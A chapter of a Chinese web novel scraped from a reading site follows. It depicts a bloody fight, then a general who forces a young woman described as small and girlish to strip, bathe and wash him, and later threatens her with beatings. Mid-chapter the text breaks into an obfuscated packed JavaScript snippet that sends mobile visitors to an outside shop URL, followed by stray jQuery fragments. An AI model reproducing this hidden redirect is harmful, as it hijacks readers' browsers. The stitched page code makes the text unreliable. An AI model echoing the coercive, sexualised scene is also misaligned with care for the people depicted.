文趣网 > 其他小说 > 休辞春 > 18. 018
    喊杀声伴随着破门声、重物落地声响起,陡然充斥了整座小院。

    春辞深深看了邢休越一眼,只说了句“小心”就闪身进入侧房,快速把门落锁。

    她看了眼身后惊恐的人群,心中居然有一丝庆幸。她以为这些人会把门关死,没想到居然还能让她进来。

    “丫头,你没事吧?”竹婶第一个冲过来,把她上下打量了一遍,见没有流血才放心,“快躲起来!”

    春辞摇头,穿过人群,爬上了土炕,在窗纸上戳了个洞,眯眼朝外看去。

    短短几息,院中已经血流成河。

    邢休越的马没有被铁锁拦下,此刻他坐于马上,已经占了优势,手中长刀更是凛冽如二月风雪,所过之处必血溅于地。

    又是一个下腰,长刀横出,再撤回时已是两颗人头落地。

    可是,人太多了。

    春辞不懂武功,但也知道双拳难敌四手,邢休越再厉害,可架不住一波波的人冲上去。

    不知是谁伸出一刀,正好砍在马臀上,激的马儿长嘶一声,躁动的转着圈,险些把邢休越甩下来。

    围攻的众人得了提示,纷纷朝着马儿进攻,几次之后大马终于坚持不住,扑通一声侧身倒地。

    而在前一刻,邢休越已经飞身而下,长刀趁势当空劈下,直把一人一劈为二!

    这霸道至极的一刀把众人震慑住片刻,而随着一声“为主上报仇”,犹疑的人群再次汇集起来,朝着男人砍劈而去。

    破空声在此时响起,一名正朝着邢休越身后进攻的男人被当胸射穿,直挺挺倒了下去。

    接着是更多的箭矢破空声和倒地声,几十个身穿黑甲的武士紧随其后涌了进来。

    是朔北军的装扮。

    春辞在其中看到了郁青、丰桥和江声,高高悬着的心这才落下。

    邢休越总算没有自负到孤身来闯敌阵。

    之后的战斗便没了悬念。半炷香后,院中兵器碰撞声和喊叫声都渐渐平息,最后只剩断断续续的哀嚎声。

    侧屋门被敲响,传来竹暮天的声音,“娘,是我!”

    竹婶浑身一颤,几乎是踉跄着把门打开,随即扑到儿子怀里痛哭。更多的人走出了屋子,也都失控的抱着自家孩子哭泣。

    这些黑甲武士大多都是竹家村出去的男丁,此刻看到亲人安然无恙,刚才还握着兵器杀敌的手,此刻居然微微颤抖。

    “爹!”纪月儿不知何时也到了,浑身都是泥巴,落汤鸡似的,抱着纪先生嚎啕大哭,“爹!”

    春辞穿过人群,目光搜寻,终于在倒地的马匹旁边看到了那人。他垂着头,手中的长刀被他抱在怀里,定定看着已经死去多时的马。

    春辞心中愧疚。

    雨水小了些,她还是举了把伞递过去,“将军,进屋吧。”

    一旁的丰侨也抹了把脸上的血水,道:“将军,后面的事交给属下吧,您身上还有伤!”

    是啊,他还有伤,昨晚还在起热。

    春辞头压得更低,伸手拽了拽邢休越的衣袖,“您快进去吧。”

    男人黑沉沉的眸子扫了她一眼,随即一把把人扛了起来。

    春辞天旋地转间惊呼一声,随即就被扔到了马背上,接着,邢休越也跃了上来,把她塞进自己的大氅里裹紧。

    “坐好!”

    男人的身上满是血腥味,风吹不散,雨打不散,春辞想躲远一点都不能,只能认命的抱着他的腰,整个人都贴在他身上。

    不知道过了多久,马儿终于踏入禁军大营,邢休越有些粗暴的把春辞扯了下来,一路提溜进了主帐。

    “备水!”

    军营是备着热水的,没多久,木桶里已经热气氤氲。

    春辞本以为邢休越要沐浴,想着他身上的伤口,弱弱的提醒道:“将军,您不宜入浴。”

    邢休越却走到她面前,用瘆人的眼神盯着她,“给你的。”

    春辞早就被凉雨浸透了,骨子里都发着颤,若此刻能躲进温热的汤水中,想想都要酥了,只是——

    她看了眼只挂着一层薄纱作为遮掩的木桶,心头打鼓。

    “愣着干什么。”邢休越沉声道。

    春辞不敢在这时候违逆他,起身走了过去。

    身后响起窸窸窣窣的声音,像是......在脱衣服。

    春辞不敢回头看,只呆愣愣的站在木桶旁。

    “脱衣服,进去。”邢休越走了进来,他身下只裹着一条浴布,沉冷的眸子里没有丝毫开玩笑的意思,自然也没有讨价还价的余地。

    可能是年纪小,春辞的羞耻心并没有那么强,即便是被那些歹人按在院子里的时候,她想的也是活着,只要能活着,她可以不要什么狗屁贞洁。

    她垂着头,尽量不看面前的人,催眠说是自己在洗澡,这衣服也就脱的顺手多了。

    最后一件肚兜落下时,她居然真的觉得能躺在木桶里泡个澡很好。

    白皙笔直的腿抬起,还小心的用脚尖试了试水温,随后像个泥鳅似的滑进了木桶中。

    如果不是有个碍事的人在旁边杵着,春辞是很想放肆的把自己洗一遍的。可眼下,她只能幅度很小的揉搓。

    “给我擦身。”邢休越突然出声。

    春辞侧首看过去,见他已经背过了身,靠在浴桶边沿,双手伸开,一副等着伺候的模样。

    春辞只能避开他的伤口,细细擦拭。

    浴巾沾了热水,温温热热的盖在皮肉上,让人舒爽的想喟叹,邢休越此刻却皱着眉,嘴角压出紧绷的弧度。

    春辞觉得这人身体崩的有点紧,“将军,您放松。”

    “......闭嘴。”没好气的声音。

    春辞被热气蒸的脸颊微红,平时苍白的嘴唇也润润的,带着薄薄一层粉色,小巧的唇珠被她不自觉的咬肿了。

    “将军,前面也擦吗?”

    邢休越停顿片刻才转过身,自上而下睨着她,却只看到一张淡而生艳的脸和一团白花花的肉,没有女人的妖娆婀娜,却带着少女的芬芳和微微一点起伏。

    他闭了闭眼,又睁开,脖颈带出了薄筋,“擦。”

    女孩滑腻的手又碰了上来,两人靠的太近,呼吸交错,春辞的心再平静,也觉出了几分尴尬。

    “今晚多谢将军。”她试着找话说,“那些人是前朝残兵吗?”

    邢休越显然不想理她,嗯了声算是回答。

    “其实民女也看出来了,民女还知道,若您看到纸条和银钗,定能猜到这是个陷阱,以您的才智,定然能救得了我们。”

    “你倒是会拍马屁。”邢休越声音微沉,“可若我没看出来呢,若没有援军呢。你是想坑死我这个一军主帅,就为了那些老弱妇孺?”

    春辞握浴巾的手紧了紧,“若您看不懂纸条里的意思,便不会来。只要您来了,定然是已有了准备。”

    她有些底气不足,“不会被坑死的。”

    邢休越哼笑,“敢说你心里没有一丝,让我一人对抗那一百多人的想法?春大夫,你就是这么对待病患的吗?”

    纤细的手指从再次崩裂的伤口处划过,春辞头压得更低,最后一点底气也没了,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17941722|213934||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    居然说出了类似纪月儿的话:“对不起,当时实在没有选择......”

    “说的真委屈,我看你做选择的时候,未必皱了下眉头吧。”男人捏住她下巴,“说,皱眉没有。”

    “皱了。”春辞认真又诚恳的看着他,“真的。”

    下巴上的手松开,邢休越周身的戾气总算淡了些,胳膊一伸,从旁边衣架上随手扯了条浴巾丢在春辞身上,把那抹碍眼的白遮住,转身走了出去。

    春辞滑进木桶,想着这一关总算是过了,紧绷的心弦骤松,又被汤水滋润着,渐渐就晕乎起来,懒懒的靠在桶壁,头朝一侧歪着,昏昏欲睡。

    不知何时,她觉得身子悬空,接着便落在柔软的云朵间,她舒服的蹭了又蹭,最后寻了个最惬意的姿势,放纵意识沉眠。

    再次清醒时,春辞先被日光刺了下,然后便听到了丰侨的声音,朦朦胧胧的,好像离自己不太远。

    “......审了一夜,已经交代了。这些人都是前朝守备军的残部,竹家村那一拨的首领曾经是东门德让的亲信,一心想为旧主报仇,只是他们无力和咱们对抗,这才去找义军家属的麻烦。”

    “好在这些人下山后第一个去的就是竹家村,附近其他村子逃过一劫。竹家村倒是没有人员伤亡,只是有几名女子遭到奸污......”

    沉默片刻,丰侨又道:“将军,属下已派人捣毁了他们在山里的所有窝点,俘虏怎么处理?”

    邢休越的声音响起:“交给竹家村的人,任由他们处置。”

    “是。”丰侨顿了顿,“将军,这是昨夜那伙人的供词,您......要看吗?”

    春辞脑中翁的一响,还没等她反应就听到丰侨又道:“竹家村的事幸亏春大夫机敏,才没有造成不可挽回的后果。将军......您多担待。”

    传来邢休越的一声轻笑,“你们关系这么好,都知道为她说话了。”

    “......属下不敢。”

    又是片刻安静,“东西留下,出去吧。”邢休越下了逐客令,接着便是帐门拉开又关上的声音,是有人走了出去。

    春辞已经发现自己正躺在主帐内室的床榻上,她拍了拍脸,心中暗暗责怪自己昨晚太放松,居然就这么晕睡过去,一翻身,快速穿好衣服走了出去。

    主帐很大,被屏风和帷幔隔成内室和外间,邢休越此刻正坐在外间那把虎头椅上,大剌剌的靠着扶手,手中捏着几张纸,自然就是那份丰桥呈上的供词。

    春辞低头跪下,也不言语,木雕似的。

    帐中地龙很足,不知不觉,春辞后背就沁出了汗。

    她在紧张。

    原以为昨夜那场赤身羞辱已经赎完了罪,谁能想到还有供词这东西呢。那上面会写些什么,她都不敢想。

    如果说骗邢休越赴险是坑他的性命,那自己之前的那些铺垫,就是坑他的人品了。自己一场算计,可算是把这个人从里到外得罪完了。

    这次又是什么花样?把自己扒光游街?挂在旗杆上晒干?或者干脆杀了自己?

    可等了又等,却只看到邢休越似笑非笑的放下纸张,扫了她一眼,说了句:“你有种。”

    然后竟起身出账去了,那张供词被他随手扔到了桌上。

    春辞刚想松口气,就看到门口的人突然停住,转身看向她,“我的身体完全康复之前,你不许离开营地。”

    说完似乎觉得不够详细,他好心补充道:“我起一次热,你挨一军棍,我身上留一道疤,你挨一鞭子。”

    “春大夫,这是你应得的奖励。”